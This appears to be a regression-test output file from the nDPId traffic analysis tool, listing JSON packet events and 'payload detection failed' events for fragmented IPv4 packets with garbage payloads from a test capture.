+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995458,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995763,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 